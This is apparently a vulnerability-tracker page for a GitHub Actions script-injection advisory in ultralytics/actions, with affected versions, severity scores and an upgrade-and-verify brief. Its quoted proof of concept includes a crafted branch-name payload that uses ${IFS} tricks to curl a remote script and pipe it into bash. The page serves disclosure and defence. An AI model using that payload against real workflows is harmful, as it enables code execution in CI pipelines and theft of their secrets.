GitHub Actions Script Injection in ultralytics/actions
What to do
Vendor fix available. Upgrade each affected package to the fixed version on its release line (ultralytics/actions 0.0.3), redeploy, then verify what is actually installed.
This page has no inventory attached, so it cannot say whether you are affected. A vendor fix is not proof that your deployment is fixed.
Affected packages
GitHub Actions ultralytics/actions
- Affected
- <= 0.0.2
- Fixed in
- 0.0.3
Sources
- GitHub Advisory Database and maintainer security advisories on GitHub
GitHub-reviewed advisory GHSA-7x29-qqmq-v6qc lists affected ranges: GitHub Actions ultralytics/actions >=0 <=0.0.2
VerifiedObserved Structured GitHub Advisory Database record (type=reviewed) from the GitHub REST API.
Severity and exploitation
- Exploitation
- No confirmed exploitation recorded. Patch Next marks exploitation only from CISA KEV.
- CVSS 4.0
- 7.8 · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:L/SI:H/SA:N · score source
- EPSS
- No dated EPSS signal available.
Source description
As published by the source; long descriptions are shortened.
Summary The Ultralytics action available at https://github.com/marketplace/actions/ultralytics-actions is vulnerable to GitHub Actions script injection. If anyone uses the action within a workflow that runs on the pullrequesttarget trigger, then an attacker can inject arbitrary code into that workflow using a crafted branch name. Details The issue exists because the action.yml is a composite action and uses certain fields by GitHub context expression within a run step: In this case, github.headref and github.event.pullrequest.head.ref are user controlled and can be used to inject code. PoC 1. Create a fork of any repository that uses ultralytics/actions within a workflow that runs on pullrequesttarget. 2. In the fork create a branch as an injection payload, e.g.: Hacked";{curl,-sSfL,gist.githubusercontent.com/RampagingSloth/6dc549d083b2da1a54d22cc4feac53a4/raw/4b7499772c53085aeedf459d822aee277b5f17a0/poc.sh}${IFS}|${IFS}bash 3. Create a draft pull request. 4. If the action is…
Dates and revisions
- Published by the source
- Last modified by the source
- Source last checked
- Revision 1 · created ·
Published from ghsa record GHSA-7x29-qqmq-v6qc
Agent brief
Preview the exact text before you copy it. Commands are read-only suggestions; review them before running anything.
# Patch Next advisory brief: GHSA-7x29-qqmq-v6qc Advisory: GitHub Actions Script Injection in `ultralytics/actions` IDs: GHSA-7x29-qqmq-v6qc Record: https://patchnext.com/advisories/ghsa-7x29-qqmq-v6qc (revision 1, source checked 26 Oct 2026, 17:08 UTC) Inventory: none attached. This brief comes from a public page and does not say whether any deployment is affected. Severity: High (CVSS 7.8) Exploitation: no confirmed exploitation recorded. Patch Next confirms exploitation only from CISA KEV. Vendor response: Vendor fix available; fixed versions by package: ultralytics/actions 0.0.3. A vendor fix does not mean a deployment is fixed. ## Affected components - GitHub Actions ultralytics/actions: affected <= 0.0.2; fixed in 0.0.3 ## Suggested inspection (read-only) - GitHub Actions ultralytics/actions: check the installed version with your package manager. ## Supported action Upgrade each affected component to a fixed version on its release line. For a transitive dependency, upgrade the parent package or add an override or constraint, then regenerate the lockfile. Redeploy every environment that ran an affected version. ## Required regression checks - Run the test suite and a production build. - Exercise the features that depend on ultralytics/actions. - Repeat the inspection and confirm that only fixed versions remain installed. ## Rollback considerations - Keep the previous lockfile and deployment artifact. Rolling back reinstates the vulnerable version, so apply any documented mitigation while you fix forward. ## Unresolved questions - Which deployments run an affected version? - Exploitation status can change. Check again before lowering the priority. - Mark the work resolved only after the fixed version is verified in production. ## Sources - Verified: https://github.com/advisories/GHSA-7x29-qqmq-v6qc (GitHub-reviewed advisory GHSA-7x29-qqmq-v6qc lists affected ranges: GitHub Actions ultralytics/actions >=0 <=0.0.2) Commands are suggestions: review each one before running it.
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